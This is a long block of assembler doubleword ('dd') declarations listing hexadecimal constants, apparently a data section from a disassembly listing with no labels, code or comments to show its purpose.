		dd 35EF0D20h, 7DF24FF1h, 5CA80Ch, 0E6E8B2BEh, 9B8AB11Fh
		dd 0F54AD94Eh, 0EB0BBE85h, 0D8C10669h, 0F227BE99h, 20747C72h
		dd 67C8AEE5h, 0B144960h, 90E1B842h, 60F213B7h, 0BBBBB95Ch
		dd 7A8ECBh, 507B00FEh, 0ED2AD26Eh, 0F854E379h, 0E36F5464h
		dd 0D4F0E10h, 17E41B46h, 9833171Ch, 0A351F2E6h,	0A8BB3E03h
		dd 0D1C5DAE5h, 0B359178Ch, 2F7AEB6Ch, 233FC6F5h, 0CC9167FCh
		dd 6A3A401Ah, 0E849DC9Bh, 33F9EB3h, 0F8ECDA9Ch,	7681515h
		dd 0C56CA574h, 5B51EEC5h, 555048FAh, 994DC52Bh,	0AF1ABCB1h
		dd 16638EA4h, 1F1CB67Eh, 0BF2C3057h, 0BA5F68D6h, 4490E036h
		dd 0B7DB3194h, 44B01F9Fh, 4BB26422h, 1EA96C97h,	0D5F69CB9h
		dd 95A8D771h, 0EAD733D0h, 0DBE170D0h, 50828A94h, 5362C921h
		dd 1A884FBCh, 0F13FDCC6h, 82D3D462h, 85BCA9CDh,	9A82A29Eh
		dd 0DFE3A4Dh, 0EA62A225h, 82C91A0Ah, 0F8DDFD08h, 4BDE6A83h
		dd 809524E3h, 11D7FF2h,	1D8C8ED7h, 1F0E63AFh, 3C05EBC4h
		dd 595C9C82h, 0D28E00F7h, 0C7970E38h, 61DE547h,	0B3C470ECh
		dd 707A12F8h, 6471FAE9h, 0D9143D06h, 0AD1C5A09h, 639AC27Fh
		dd 0AE19BF0Ah, 1536CE5Eh, 8DE95EB6h, 9B6CB1BFh,	4F506831h
		dd 58666345h, 0CEDE9905h, 0AC88A7A0h, 33B265FDh, 1E8A26E7h
		dd 0C3192F78h, 0AEE600B4h, 12D5BAB3h, 76B3E75Ch, 0CCFAF089h
		dd 0D1C63487h, 3A60C4B2h, 0C85148FDh, 2C871C0Ah, 87F4467Fh
		dd 71974760h, 56697560h, 0D5D7C8FCh, 0F2225BBh,	0B1609CABh
		dd 0C8D0FBDCh, 25CB39B1h, 248E7E55h, 4750AA44h,	0E6445603h
		dd 536F4DE2h, 4D66C747h, 0BDE58934h, 0D10F302Ah, 2754394Eh
		dd 36EF87D4h, 54B36370h, 0AF61ECA4h, 0B702C594h, 6CF14ED2h
		dd 9D6FB58Fh, 0E13E43C1h, 4DE49605h, 1EF157D3h,	716EA845h
		dd 0E5DE31B0h, 8A20639Ch, 86843658h, 3C12B516h,	445A0DECh
		dd 4BCE4687h, 80E9F3BAh, 8696D2C0h, 5D360E79h, 0B43C6794h
		dd 0F189274Ch, 5895D441h, 0E702B38Dh, 9C15F8B2h, 8F8D6490h
		dd 5222AD40h, 87116A7Dh, 8356ADF8h, 2AC621E4h, 74B7BF09h
		dd 7B396BD8h, 4CE1370Ch, 39D08991h, 0BEE8E102h,	0AB8F27ACh
		dd 0A2E69718h, 0BF8DDBE5h, 4624AC84h, 4D04BCAEh, 8EC1D056h
		dd 19E325Bh, 8F854668h,	1F888FBBh, 931BCEE1h, 936B62F3h
		dd 0B348A431h, 66144A2Eh, 1FE30AB8h, 0D023D2A7h, 8DBE03B4h
		dd 6068DA6h, 0DEBA41CFh, 0AD65C847h, 8A73B17Dh,	0E0141B08h
		dd 8BDB5008h, 4013CC01h, 27CBF9F7h, 0ECBDACCCh,	9FCCC00h
		dd 703929C3h, 1BBD1DE6h, 4ABD05E8h, 27878460h, 7FE3D4B6h
		dd 0EFE97AA0h, 5834982Ch, 5CE4290Eh, 0F422E2B4h, 107683D6h
		dd 6584D046h, 0B1279092h, 28D8E7ABh, 39F7EC83h,	1E6D6226h
		dd 0C04D3FBAh, 0D43098F9h, 2497C723h, 34B1B632h, 635EC489h
		dd 10B36CACh, 0FB23F48Fh, 342A1EF8h, 9B21664Eh,	0EB7AE305h
		dd 0B20E5732h, 0C0E7BA65h, 0C9F6C54Ch, 6877F0ACh, 3A3CC60Fh
		dd 83EB1628h, 9EACFF7Ch, 801C7351h, 13104A52h, 0BEFB4692h
		dd 8CFC499h, 7D7C1150h,	3F565452h, 2AA1569h, 9E06DB43h
		dd 495E0394h, 7AF51E16h, 0E88A9B95h, 0EB408E1Bh, 0AA9060D4h
		dd 71CAE361h, 0C8BB8E0Fh, 0F9B09059h, 9FB9B496h, 96DB6AB8h
		dd 68969F78h, 0D59651A8h, 2620D6E8h, 0ACF9E3DAh, 69854DF5h
		dd 73100A08h, 1B824D8Ah, 6CC9021Bh, 414ED335h, 0F9676AE3h
		dd 3CBC4EEAh, 0D6404DC2h, 371C23ECh, 0A1B5C9CEh, 65C28670h
		dd 5E5E6C67h, 72401A4h,	5CCC881Dh, 0E3C2E047h, 0EF9B1D8Eh
		dd 0E535DDDFh, 41065D30h, 0EE593A38h, 0C0F4E058h, 2A407044h
		dd 36974C44h, 422839E4h, 0C231AAE8h, 0EA5921E4h, 334B4345h
		dd 0AD967DFFh, 52BC636Bh, 9FD8973Bh, 5A7E0ADDh,	89DD7AE4h
		dd 5BF953EFh, 0F1EA762Dh, 0B79A0CB4h, 0C1FEA012h, 0EA64E8A2h
		dd 22F509F3h, 0B4DDB238h, 55E7BA29h, 0F14B155Ch, 0C7F3C29h
		dd 273A8B1Fh, 890B382Ch, 0F74161B1h, 0A8CA6E5Bh, 8B660E4Fh
		dd 69CCA76Dh, 8EBC6024h, 0BF7736E4h, 0ACCC6650h, 0E58D238Dh
		dd 7EE91355h, 372B14F9h, 216A167Eh, 531AFE91h, 0C50D8091h
		dd 898934AFh, 76181010h, 0E229E194h, 3761A96h, 0CADEFB2Ch
		dd 0B9042D70h, 55F4A386h, 683002B5h, 9D6F3BCDh,	7C1449B7h
		dd 54A6CF5Eh, 161F6C71h, 1E7E5F7Ah, 0A1744C4Dh,	82F55891h
		dd 8F8F3178h, 2B3B3071h, 0A893FE9Bh, 41E6D813h,	0C87F93B0h
		dd 2D7956A0h, 0BD80BA90h, 0CC88D80Eh, 1677296h,	4742A3C8h
		dd 10F35149h, 7A73A070h, 754186A0h, 430E3B0Bh, 0E732463Ah
		dd 0FE25D0FBh, 0CA8BEE03h, 71E5D607h, 0B6418BAEh, 1112714Ch
		dd 7549F308h, 0D806D69Dh, 0EDA1FDEAh, 96EB5044h, 0D2348506h
		dd 4923A5Fh, 0EEFCA882h, 4C7AE819h, 691ABA45h, 60DFBE13h
		dd 2C3324Bh, 9F776B88h,	0AC11CA24h, 87EF6040h, 0EEE6C893h
		dd 448EBD09h, 925869CDh, 36D81153h, 97B2984Bh, 0A90AB448h
		dd 215F5A03h, 8149C2EDh, 5B3D85Fh, 0CC0C02DDh, 78A45EE3h
		dd 5BBA1ABFh, 0F76F682Ch, 34DE0DF5h, 37441D63h,	0DBDF6F3Bh
		dd 1F0F6954h, 1EC72A45h, 40BCF0EEh, 9798C83h, 645F6FFAh
		dd 9155F69h, 0DF4F5DBBh, 4098D99Ch, 52C9B99Bh, 88061A58h
		dd 0ACD92FC9h, 20DBAF3Dh, 2BE3DF7h, 41ECABBCh, 0A15D3CF0h
		dd 1757147Dh, 0B0148ADAh, 0A677DEDAh, 0DEB64BE4h, 0BEBAF1D3h
		dd 0A1029F37h, 816A428Fh, 1290C632h, 0D403BD94h, 306F99C2h
		dd 825BF351h, 9EDBA70Bh, 0D5AE1EF8h, 9F66C998h,	1CDADAE5h
		dd 422DC34Eh, 7FF61EDCh, 0A12C622Dh, 0F3FF63FAh, 51694ADDh
		dd 0A1DDC4B4h, 0D904AB7Bh, 4CB71A37h, 0A4655E75h, 0E6D4684h
		dd 0FC514A01h, 0DB3E4C92h, 49E66B8h, 790B9A3Bh,	703C8A52h
		dd 716F1972h, 678Bh, 0D0FDAD57h, 0B86B19B2h, 0F3C4484Eh
		dd 4A2F4912h, 3B670A8Ch, 0E332921Dh, 0B1EA03AAh, 7EA87C10h
		dd 7DA87CA3h, 0DE72960Ah, 0C6F7FCF7h, 13428566h, 67494D63h
		dd 3B79E881h, 9E73D26Ch, 2467C6CEh, 7E5CC6EEh, 97AD8773h
		dd 88F2E6EAh, 6B961912h, 0D879C5E8h, 260AFD9Ah,	7317139Bh
		dd 84FB0644h, 0E169BFE8h, 0BFE4BCEDh, 484F38D8h, 120A3B6h
		dd 0EF5698D0h, 980730C9h, 80E90822h, 0E62CF8CAh, 30B785DBh
		dd 76949DFEh, 2BADC8F8h, 0A18DC63Ah, 75901A34h,	6383924Dh
		dd 847EA008h, 0BA094B97h, 35C4B05Ch, 2FFDC7B6h,	875A5906h
		dd 16765612h, 4652BFFFh, 1B1C9598h, 905E55DFh, 50F5251h
		dd 0FFEFA0AFh, 0BA67FB0Eh, 0B851CAF6h, 0D6A85A84h, 0A11365E4h
		dd 0D8FF02A3h, 9EECDFAh, 0D96E1716h, 0B7BA1108h, 0F012F9FFh
		dd 0C34E888h, 26EDFFF0h, 0D0EA0A49h, 14E6488Eh,	0D3DB192Dh
		dd 1B82DA81h, 10D06B27h, 7EBF1D64h, 0CD6D2C5Dh,	0FA69BD79h
		dd 3EEEBE4Ch, 7B77ADD3h, 0B3275AE0h, 0B027E4F0h, 0EE0E6687h
		dd 41819423h, 23A413B2h, 8F670F76h, 0B90FBC24h,	12E5BEFBh
		dd 13216428h, 5400C66Ah, 4C664757h, 0C86FA33Bh,	66A408C7h
		dd 0AB021EFAh, 6E5AE7Ch, 0ADE5A8DCh, 89D945A5h,	6ABF00A1h
		dd 412D0DF6h, 21BF44BDh
		dd 1063E619h, 83D56B30h, 22B0B0C7h, 0DF0A11FEh,	4FE3F22Ah
		dd 490BA5A3h, 4A60C70Ah, 0AF1EC875h, 6EB91CFBh,	12A5D8BBh
		dd 0AF3B877h, 2FD44586h, 0E9CED759h, 38D701BFh,	94D029D2h
		dd 0B342E0FAh, 5F204C38h, 134F49AFh, 0F6062A04h, 51424E4Ah
		dd 1BB5B046h, 7E77DA0h,	69F76C3Ah, 490939F7h, 2B866DA3h
		dd 211944AEh, 0C4398C4Ah, 8B9EBDF0h, 0BBFE7BABh, 71923775h
		dd 660A0E33h, 0E8A0ACABh, 0A0AFA93Fh, 0E157AEA1h, 0F97AD823h
		dd 0DC11A3E2h, 835CB25Ch, 5917A02Fh, 279D31B9h,	0D66A3905h
		dd 0B3B3CB5h, 0CA125A3Bh, 0DB870DE3h, 278C4499h, 5525DC1h
		dd 6BAB3A03h, 7E49D12Bh, 0EB54CB23h, 0C5F76253h, 9E01237Ah
		dd 0C20E3681h, 8AFA2699h, 618C4C5Bh, 53CBF512h,	1C38F993h
		dd 0BAF5F618h, 19C47B1Ch, 7FFD36ECh, 0FE419B54h, 0CCC323A8h
		dd 288705EFh, 0D09610D5h, 0C1B436A5h, 2585AC8Eh, 6A49CFFDh
		dd 0DF27601Ah, 0ED1CEF22h, 4B24C808h, 3067BF56h, 6F3ED1EFh
		dd 0A07E5F15h, 118093DAh, 70A8295Dh, 0E8013FDBh, 3F1847F4h
		dd 2C40487Ch, 55212AB5h, 0D64DD467h, 0D324A2D6h, 72332F38h
		dd 0CB341CF7h, 0B87006EEh, 2A8D57FBh, 9ED52DFAh, 0FD61172Dh
		dd 73E27C1Eh, 0FE0298ECh, 75C07CC6h, 0A9014674h, 2F12CA78h
		dd 0B9588782h, 0DDE6F4EDh, 48F744CDh, 0B653895Eh, 0C3698D40h
		dd 316906F6h, 0DF637A94h, 1F083BADh, 37326A6Fh,	0DB4DE918h
		dd 0CE5C55EAh, 0F90BC43Dh, 30FA0B1Ah, 39E829D1h, 696145D7h
		dd 49B916CDh, 0F8445FABh, 34070123h, 0ECE32430h, 0A6F04144h
		dd 9C8A2BB8h, 5CA8C897h, 0AE888026h, 8B220B3Bh,	0CED2D1F1h
		dd 3A8A1DE7h, 0B356E45Fh, 8112AD7Dh, 64E22C28h,	52DCE2B4h
		dd 0C372BD89h, 29542F71h, 8CCA7E32h, 0EEF1CCB0h, 824784F4h
		dd 0EE604CDEh, 926CBF10h, 1415889Eh, 0B1C067D0h, 527408EFh
		dd 2B2F52B4h, 11534543h, 4C7AB9Bh, 594F0C6Ch, 6DF2EB49h
		dd 57FA58EAh, 17489519h, 13343793h, 4B593385h, 70A1D5E1h
		dd 9C7DE129h, 0F33D36DDh, 0EF06D426h, 0A0524E8Eh, 0A1A04D08h
		dd 0A38BCAEBh, 0B87E7138h, 0EEC76469h, 58898E72h, 304730BCh
		dd 53A38B6Ch, 2582557Fh, 1F2C3CFBh, 0A018BF7Ch,	39F881DDh
		dd 0C3B14C20h, 1650CF26h, 0BE173CAFh, 817BFF35h, 18C528A9h
		dd 2DECCC1Ch, 0CF51E360h, 0F32C720Ah, 83F7FA89h, 9A098B4Bh
		dd 0D47ABEEEh, 0EF707992h, 6673A35Bh, 7362D73Dh, 6FCDBCD2h
		dd 0DBC83D01h, 7A77FDAFh, 0C222DC96h, 7FF5F334h, 5914AB58h
		dd 2AB91FB7h, 5965F020h, 0C2076474h, 0D1BFF416h, 503C16CCh
		dd 0A7B2D485h, 22776F79h, 97A4BF81h, 1E40ED33h,	0B809673Dh
		dd 9C5A3DD0h, 0BEA9A2FFh, 57AB79EEh, 6EF59805h,	3113CDAEh
		dd 4A8F2356h, 0D6173003h, 67A9F275h, 9005E3FEh,	0A2165C2Dh
		dd 0DA05F2CEh, 20B6393Fh, 0A08EAF30h, 0FDE99C88h, 1544611Bh
		dd 79084922h, 11983DACh, 202D5221h, 0D455FDF1h,	596A1065h
		dd 631F0849h, 8C561E23h, 9B88A83h, 0C43613A5h, 0CFC47882h
		dd 301FF8FBh, 0D8E026A1h, 67545CF4h, 8A2960A0h,	59125E51h
		dd 49BAF776h, 0C378E861h, 0A1AF8BF0h, 692AA644h, 0B8CA0F8Ch
		dd 0EA32DE0Dh, 0BA6515E3h, 5744E318h, 0B5644661h, 628EFE34h
		dd 0AB718340h, 0D062E78Ah, 53EFB17Ch, 0C9745049h, 26F92116h
		dd 5A52DA1Ch, 0CD5703A0h, 83FE2398h, 3542D20Ch,	58B0FE9h
		dd 17A35553h, 0EF5C6D0Bh, 0C300FDAAh, 0A705EEFh, 0D790B7F3h
		dd 0AB2F469Bh, 7E8F645Dh, 1325DBBBh, 0B76F2C90h, 23478B79h
		dd 0FE1D8777h, 46C7A5B5h, 61FF58B2h, 0E945F4F8h, 0FE15F7B4h
		dd 0B627B19Eh, 0E6B5E82h, 0DACEF7E5h, 0C83D3974h, 0BCE67B97h
		dd 987E73A5h, 0C84E160Ch, 20D6A03Dh, 1C6EB921h,	0DD1172CDh
		dd 783F4D7Dh, 2D9E8981h, 0E34901E9h, 99AE8764h,	3585B64h
		dd 3D815D0Fh, 789803FDh, 0B6AA02BDh, 0B20E0926h, 1B270E81h
		dd 6E76DB2Bh, 6B427A6Dh, 0E25EBC75h, 0B0F4DEB1h, 2EBBFFA6h
		dd 632FD251h, 0E1BF38Ch, 493A1E52h, 20EF4B3Bh, 0D55C36C0h
		dd 3D93E649h, 328A4DD1h, 0ECFBF0CCh, 4F89674Dh,	63865F22h
		dd 819618AEh, 83F0808Bh, 0DB12F435h, 95C8BE7h, 0EC0B9C00h
		dd 4CA1224Dh, 0FEFF3FA8h, 78414958h, 7C4A2EDAh,	79DBBAC1h
		dd 0B035ADC7h, 0EDB79B00h, 923A1FA4h, 0AA964BEBh, 1E2F0EA6h
		dd 532CEE02h, 0CF473A7Fh, 0B6CBF4FEh, 71AD3F5Fh, 9702849Ch
		dd 3066982Ch, 208A2B21h, 4DD37EBDh, 6AF9DF9Fh, 0F052B067h
		dd 0C224A10Eh, 0B7A1DC7Ch, 7ACB0241h, 0E86BFF7Fh, 4F0440A4h
		dd 8F25A96Ch, 0A6A55CABh, 60E87F3h, 0BE129CC5h,	0DD19C8D8h
		dd 7EE8C0F4h, 0DA94994Dh, 85002BA5h, 0B6B839ABh, 0F419494Fh
		dd 0FA54BFA3h, 8FDF6F57h, 377F01DBh, 8083CD23h,	5D95C58h
		dd 0A21275CCh, 3C3A2E94h, 0C3C38554h, 0BB65B697h, 4F6BFAD8h
		dd 0F06AAA55h, 0D28DB053h, 0D5F6F8DDh, 8164B3C0h, 0B8A63639h
		dd 0C3430637h, 28A84228h, 426AEDDh, 4FCAF84h, 0AC2F058Dh
		dd 7542AAC0h, 5ECA50FFh, 94B9CB9Fh, 316BACAAh, 2C935CDh
		dd 0AAA04261h, 0D1BA2A12h, 0E16704Ch, 0CFE4D567h, 5EC15D14h
		dd 466FBF79h, 0FF0E269Bh, 1A2318EDh, 0EC56FBD2h, 6B11AB80h
		dd 3DD31DAEh, 9B1D992Bh, 58E6A112h, 0DEE589CEh,	7CC7214Fh
		dd 35264AEFh, 82B96351h, 14D7E053h, 45FD7E4Dh, 0D2C55294h
		dd 0B01EAC96h, 0A8224B47h, 8E8E9439h, 0DEFE6E9Ch, 0F3498477h
		dd 7C14B936h, 98605849h, 6A440DCh, 3FC13A6Fh, 0AC4072ABh
		dd 13C35FAEh, 1251FD2Eh, 3F6EC531h, 0E98A481Bh,	0B0AE43E1h
		dd 27E8FD71h, 85BDD2CFh, 92F3EEAAh, 76E755F2h, 2A5CB32Ah
		dd 8A7A899Eh, 0CCDA2B1Ah, 8BC44757h, 0A2FA359h,	88F24C33h
		dd 70595273h, 0E95A1218h, 89710C65h, 0F10C567Ch, 1132417Ch
		dd 38C526D9h, 5C0A4781h, 0E52DB474h, 0AB4142D4h, 465F84CEh
		dd 0CC0EF27Fh, 3507EBA2h, 0B6481F34h, 954E6D24h, 9D5E6A2Eh
		dd 1E6C9775h, 32A52124h, 775F3073h, 9FE59D4Ah, 5A9325FAh
		dd 9858F665h, 0FF4E1F8Bh, 0E734085Ch, 80B808EEh, 0F7902605h
		dd 170024A5h, 115B5736h, 70DE3B77h, 177BBC37h, 0CFA0F3D3h
		dd 0A82A89CBh, 0A6A6B033h, 8C55E701h, 995FD36Bh, 5F2579A7h
		dd 8DE36F29h, 6D57A56Fh, 5AA694F4h, 1FC6C3A2h, 6E05F4FFh
		dd 8B9C45A1h, 1E6C800Dh, 6F84B0B2h, 9B0589Ch, 0FF83B98Eh
		dd 63342EADh, 8101295Bh, 25CBE4E3h, 12FF30FFh, 54558981h
		dd 0DDFEF0EAh, 0E3AAB2ADh, 0FA94C90Ch, 77708DC1h, 2961C06Dh
		dd 722BDB50h, 0D69D5C1Bh, 0CED13CC3h, 35FC4BEDh, 4838A35Fh
		dd 47E88344h, 6736D530h, 2DB8EB10h, 0EB0F68AFh,	835DAE60h
		dd 5199C202h, 0FF8C4A70h, 0AB17453h, 28D8E97Bh,	0BD97ECC7h
		dd 6A5A8DC1h, 1BCB0AA8h, 35D9D1D0h, 2D5C8512h, 7B6A1F3Bh
		dd 0D9DD85D7h, 0A9D0C289h, 697392h, 60A4C784h, 0AFF46606h
		dd 8DC6F3E0h, 1AB4D453h, 0D1FA3CA7h, 0B3E4F434h, 41B165DDh
		dd 412637C7h, 0EDB7C55Ch, 2C32423h, 0A7BCE78h, 0D0068325h
		dd 89F11636h, 2FF32A07h, 1C562F8Ch, 16AA3C26h, 726BA27Dh
		dd 5B041841h, 7354E150h, 4DB7FFDEh, 0B8E56119h,	28BB299Fh
		dd 81C4A95Ah, 1FC5ED6Eh, 67C3723Fh, 48B486B4h, 0AADF5AA8h
		dd 2ACC7BA2h, 0C607CA8Ch, 8C90C92Ch, 0E841A4C0h, 3AB477EFh
		dd 39F87C4Fh, 0F375D4C1h, 22361BB1h, 0A9F89C5Bh, 0BC74A324h
		dd 0E17AF782h, 0D9D80A06h
		dd 0B14CAC10h, 0D493AE0h, 389D5D64h, 0F6DC5276h, 5C5AEAD7h
		dd 3ACC2C7Ah, 3B196796h, 0CEF35F32h, 97A5A685h,	7F8D193Fh
		dd 713465FEh, 33F66EC1h, 2A78C1CDh, 0E0A2CCAFh,	31B4047Eh
		dd 0FE1065DDh, 892874EAh, 5173E1F6h, 91415h, 0E58F6D38h
		dd 4A097590h, 677214C6h, 6EF565EEh, 2D8B267Bh, 4FA8486h
		dd 5A825CC7h, 0F5C80DA3h, 736E4060h, 6833A4BCh,	0BB3522CCh
		dd 5AB7E218h, 0C40C51EBh, 398409EEh, 229DBD88h,	0BC246E85h
		dd 759EADE7h, 0D14E7DABh, 0E6445341h, 11D3C8A0h, 6B58A764h
		dd 4AFD2CEh, 6363092Ch,	34DB3463h, 962D0430h, 0BEE7B42Fh
		dd 22D883E3h, 0F702B2EDh, 9BEFFD03h, 5147464Fh,	0ED0EFE0Fh
		dd 0C68DD59h, 5B1B1C09h, 0F78CD192h, 49313077h,	0DA2423E5h
		dd 0EA174BD7h, 8C730B00h, 4DBF9C93h, 0F501C96Bh, 7EF37F1Bh
		dd 8880C5BFh, 181A95C4h, 6E66D6BFh, 0B05E5615h,	0BCFDB9A0h
		dd 0EF6389B3h, 3874BBFAh, 996356E1h, 0DE1D403Fh, 947E809Ah
		dd 90152156h, 0A995DD1Ah, 2E9FD11Ah, 4F308FBh, 735A05D4h
		dd 3E208066h, 8AD9476Bh, 5E063880h, 78D37BC0h, 563BE7B5h
		dd 1717D8F8h, 15C3AD79h, 9FF7862Ch, 9D46A4ABh, 494E3AFBh
		dd 932267ACh, 0C5E4024Ah, 294C426Fh, 438AAD77h,	0B989014Bh
		dd 6CAF0537h, 0A2B57E9h, 5AF175A9h, 4F9901B8h, 0DE30A07Ah
		dd 5C69D13Eh, 0D10F7D4Fh, 74D895D7h, 9F2BFB17h,	0EEF74DF0h
		dd 0DCD9BD40h, 0A3025CBDh, 8AC59C0Bh, 14C858C8h, 0B9069856h
		dd 93CD0B63h, 0CEC5E4F8h, 0C9D09F6Eh, 4FBF3C00h, 3D377F5h
		dd 93DE76CFh, 1BD05772h, 0F0A1A29Dh, 611EFD8Eh,	0CDA50285h
		dd 0E0B6C1C5h, 0E72027AEh, 0C68EE759h, 11DCBEDDh, 0B380FF61h
		dd 17CE9F94h, 0F5683B20h, 0DF91AB1Bh, 3D4E5A28h, 44FF6400h
		dd 7F617125h, 21469FC2h, 0F0A95EEFh, 0DCBE989h,	0A92D954Bh
		dd 0F439A3FAh, 0E8BF50E0h, 98A3F61Ch, 2BB7483Ch, 24509DCBh
		dd 7B9B0B1Ch, 39AC6155h, 20C0B560h, 30D4D8C9h, 4F87D45Fh
		dd 9D5F04C2h, 0E47DD570h, 0E2FABD90h, 7E37BD04h, 69B28A75h
		dd 0BFCB8944h, 0B0D91952h, 0B7D90CF0h, 1DF23253h, 8354EE1h
		dd 77CB774Ah, 50821D4Ah, 0B0894CFAh, 0E7E26F35h, 0D302FAFAh
		dd 1D719D46h, 28CD963Fh, 46C59B0Ah, 4D01D214h, 0C5BD9D64h
		dd 0D55CC63Fh, 0FCC02FBCh, 0B6205CC3h, 0DEC58E7Dh, 3F759BA3h
		dd 12FBC24Ch, 4FEEAC1h,	787260A1h, 7EB89B7Fh, 0CF2C8EC6h
		dd 0A35A22B1h, 581A95A4h, 0D22AB7B7h, 0DF4A859Ah, 2883F8EDh
		dd 862FE6B0h, 6C294A8Dh, 0CC691436h, 201E13C6h,	2E6CB570h
		dd 62AA4103h, 0E8198199h, 0ABC60C6Dh, 2E3B2F85h, 12DD847Ah
		dd 2BC26D68h, 0CCA91B6Dh, 93F03F20h, 197CA856h,	4A2F8758h
		dd 326883D3h, 945B396h,	9D70F012h, 9455193Ch, 5501937Dh
		dd 992CF44Eh, 0D7AAC7D0h, 0A3D6AFB7h, 2D29A9F5h, 0CEB356Fh
		dd 1B03B22Fh, 49E7F523h, 0A992007Ah, 65EDD9A8h,	54D8183h
		dd 0E8C9B4BBh, 636AD0BEh, 96F7E5A9h, 3742C8A3h,	235C7173h
		dd 30A20DC6h, 4D2CFC90h, 0E3D28940h, 0E781C445h, 0B8EB209Ah
		dd 7BD9389Fh, 3F0A550Bh, 30D9F29Ah, 0C7C4FCF1h,	23EF4E4Ch
		dd 0FF8BEED4h, 48C5B361h, 2C00964Bh, 3D77D3F2h,	0D7EA26ECh
		dd 5228B49Dh, 0DEB10C8Bh, 0FE43D198h, 7A14541h,	0FE7E6DAAh
		dd 93773C79h, 723550C1h, 9A46D6C5h, 33FDCA48h, 8B8C2A7h
		dd 1B1B7EC0h, 87BEEBB2h, 35D0BA02h, 764F39C2h, 5E49AD89h
		dd 81D0E46Ch, 0FE45DB3Ah, 44F72198h, 79F85336h,	0C1882C3Fh
		dd 7DA17B61h, 5D431F62h, 0B35A8h, 0DD7D2181h, 788C17D1h
		dd 0CECE3C51h, 0F8E9A93Ah, 0B8220FCDh, 99DC3F04h, 42DE53B3h
		dd 0E5E2CECDh, 0ED42A747h, 6B5F761Ah, 0D469C1Ch, 53D2E818h
		dd 7E7FF20Fh, 0B38542A3h, 0AE8C1CFh, 0D5E1BBh, 0D4867B2Ah
		dd 3DD2B416h, 68210C3Ch, 0EC59CD79h, 2514E337h,	28BDCBC3h
		dd 60F3C205h, 1316AC01h, 34BACA30h, 0CCB6C20Bh,	6C9412A4h
		dd 6CD92CFEh, 0F42327D9h, 0FF2675B0h, 7879475Fh, 0D6E37607h
		dd 3BCBC453h, 1918AB48h, 745506B5h, 710A0EA7h, 0A261E175h
		dd 33686963h, 0A0A484BAh, 0CA81665Dh, 1764BC19h, 4ACB86F5h
		dd 0F0AF75B2h, 0B79F6124h, 70E9BAF8h, 0D407EBAh, 6839D6Ah
		dd 0F192F20Bh, 0F22CCA48h, 24D1B51Ch, 7E1F922Ah, 29DB600h
		dd 713AC580h, 0B02243C0h, 0C207F47Dh, 6703B2DCh, 9FF47479h
		dd 2476D80Ch, 5AE7C90Ch, 0BD5C889h, 0B6121A4h, 0A7C51A1Ch
		dd 1DCF5B19h, 0F577C311h, 62020499h, 43454C41h,	198C3EF4h
		dd 23CF076h, 648152FAh,	0E96B7E07h, 0C56A4BE5h,	9BE647A0h
		dd 0D3173B66h, 0CB6B2E03h, 15379B39h, 55A162E4h, 0ABBACAF9h
		dd 0DDB4B532h, 2B65C2CFh, 8DCF6118h, 0E8251FE5h, 0BA31F889h
		dd 0AD5E187Ch, 0DB9EF60Bh, 0D2A5C1AFh, 11F0E873h, 7AC3B9E8h
		dd 764F684Fh, 3E173423h, 0D5AF2F81h, 0EA65AF4Ah, 4F57893Ah
		dd 2E17AF16h, 0FF8E2F32h, 25266B27h, 0AAE69BC4h, 2BBEBD7h
		dd 296882E5h, 6656E2FFh, 6D88CB94h, 7D9FAA3Bh, 0DAC9F1FFh
		dd 0B617F4AEh, 33BADEFCh, 0C5D9BC53h, 8BA17Bh, 89AA729Ch
		dd 0C141DFE0h, 0AFF7CFF2h, 8D805D6Ah, 0C4CDE636h, 86CD8DA2h
		dd 82C6D17Eh, 32AED9F3h, 0D5886528h, 0CD41E054h, 0EDEE0478h
		dd 0EB595CF4h, 0EC2CA674h, 0C9E96671h, 0EE8DFFEBh, 0E8FDCD33h
		dd 6CD373EDh, 5810F0B8h, 0DB5F0F58h, 375E5F9Bh,	3ADEF6B8h
		dd 31F6B134h, 5E764528h, 551EAD3h, 0A9B52458h, 1B013F54h
		dd 0D488B0BDh, 168AFABEh, 7E49685Ah, 86FA977h, 7A507A4Eh
		dd 16202C1Dh, 9D21916h,	108A56C9h, 6FE745B9h, 0A5C01A9Ah
		dd 0FB189FD2h, 664E47B9h, 4CE68322h, 8953C700h,	60DD88ECh
		dd 13AEF23Bh, 9E494606h, 12B55E29h, 2BB932F3h, 0B2EFC346h
		dd 6D7CA240h, 0C30E8E17h, 0D16100B4h, 0E6015FCEh, 381C6BA6h
		dd 0F8E322C0h, 6569A9Ah, 8F09B803h, 0DE1AD936h,	935F87C9h
		dd 0D30963E2h, 683145F9h, 0F60CF848h, 2487DEC9h, 0A1A64FABh
		dd 0F8188D79h, 0C9DDAE3Eh, 0D95A1DADh, 0B9C8B914h, 0D9F73Ah
		dd 26606408h, 1C086E31h, 4536C5A9h, 0C55B15DEh,	0B7A3BCD7h
		dd 0F7CDFE64h, 5FA73607h, 0E8451A9Eh, 1B55FF5Eh, 0A80E2236h
		dd 0FA667287h, 6546A4B7h, 8CCDAA03h, 90921EA9h,	0DBB53166h
		dd 0D23D4D0Ch, 0C1B41F4Eh, 0D390527Fh, 152AAFC2h, 926E5BC5h
		dd 399C3600h, 0AFD244Dh, 0BA5D7EF8h, 6CB7AB98h,	0F75B1FA7h
		dd 0C3444787h, 490F035Dh, 0C0FEE5B9h, 6275B78Fh, 6ACA65D1h
		dd 734C4CE9h, 0D9F5C9E7h, 4B206611h, 9E9310Ch, 0BA89357Ch
		dd 0DC00074Ch, 0EA605897h, 4243BFE5h, 6562CE8Ah, 2EB2EF12h
		dd 0D3B8C3E4h, 3D7AB9EEh, 0C56CBB2Dh, 1DB2EB6Dh, 0CA1E6298h
		dd 404869AAh, 72B917A7h, 645F7651h, 5B99D6FCh, 2D9674DAh
		dd 56306B51h, 17AE1B88h, 0C5694832h, 84932004h,	0BC9FF129h
		dd 0B5A02779h, 2E90500Ch, 600B5F6Ah, 9B1A2670h,	7C40CCAAh
		dd 9A266B2Fh, 60458EE3h, 2F72A95Fh, 8542AC80h, 0F84AD27Eh
		dd 0B775ED8Fh, 490953DBh, 4DABD846h, 1BB5EC18h,	0B828EBB8h
		dd 1C23575Eh, 59DE355Ah, 65B39EC7h, 73A4834Bh, 19925CB5h
		dd 65CD4266h, 9830D137h, 9D7B07C4h, 0F3EE0CAAh,	7F3B98EAh
		dd 0B2FC6B21h, 0F1F62E10h, 6C6E1421h, 0EA211B89h, 48577D81h
		dd 8E047D63h, 5C44D4Ah,	0BCA2F4FFh, 5AEAD918h, 813F3716h
		dd 8045C7F7h, 38D080EBh
		dd 0E3839E33h, 275C45BEh, 714AADB5h, 51D5B973h,	0A658ACA2h
